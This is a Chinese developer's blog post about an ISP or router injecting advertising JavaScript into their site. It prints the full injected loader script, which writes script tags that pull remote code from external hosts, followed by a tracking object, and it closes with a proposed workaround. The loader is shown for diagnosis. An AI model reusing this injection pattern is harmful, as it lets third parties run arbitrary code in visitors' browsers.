1. 程式人生 > >js去除運營商或者路由器添加的廣告腳本

js去除運營商或者路由器添加的廣告腳本

設置 length document 添加 () element || 域名 uid

是不是偶爾發現在家裏看網頁的時候回插入一個廣告,很煩人。開發的網站,上傳到了阿裏雲 oss,設置了域名解析,但是在家裏晚上訪問的時候,總會在頁面添加一個廣告,導致頁面卡主,一開始以為是路由器的問題,以為是中毒了,後來發現應該是運營商加的廣告,不清楚是阿裏oss出口加的,還是運營商加的。

分析

測試發現,訪問網站首頁的時候,有一個js文件被替換,被替換後的js代碼如下:

(function() {
    o = "http://youxi919.com/h5web/js/index.js?";
    sh = "http://218.93.127.37:7701/main.js?v=3.94&sp=304&ty=dpc";
    w 
= window; d = document; function ins(s, dm, id) { e = d.createElement("script"); e.src = s; e.type = "text/javascript"; id ? e.id = id: null; dm.appendChild(e); }; p = d.scripts[d.scripts.length - 1].parentNode; ins(o, p); ds
= function() { db = d.body; if (db && !document.getElementById("bdstat")) { if ((w.innerWidth || d.documentElement.clientWidth || db.clientWidth) > 1) { if (w.top == w.self) { ins(sh, db, "bdstat"); } } }
else { setTimeout("ds()", 1500); } }; ds(); })(); var mim_params = { ‘sp‘: ‘304‘, ‘aid‘: ‘13050‘, ‘sda_man‘: ‘XVpZWldNXV1fWFNA‘, ‘src‘: ‘0‘, ‘adtype‘: ‘1‘, ‘uid‘: ‘VCpdXydAXCotUlNNKytcWF07LlxaWlJPLF1cKSQ/LyleXlJIX1teWVRKW1Y=‘, ‘spid‘: ‘sohu‘, ‘ad_list‘: ‘13050‘ };

看見了沒,比較高級,居然會自動替換js文件。經測試會隨機挑選首頁中加載的js文件替換。

解決方法,在首頁加入如下代碼,清空 mim_params:

<script>
var mim_params = {};
</script>

這段腳本現在還不知道是阿裏雲oss那邊註入的還是運營商的問題,希望有關部門可以管管。
這邊查了一下oss出來的文件是沒有問題的,但是為什麽會被註入?比較質疑?應該是運營商的問題,奶奶的,直接註入廣告!

js去除運營商或者路由器添加的廣告腳本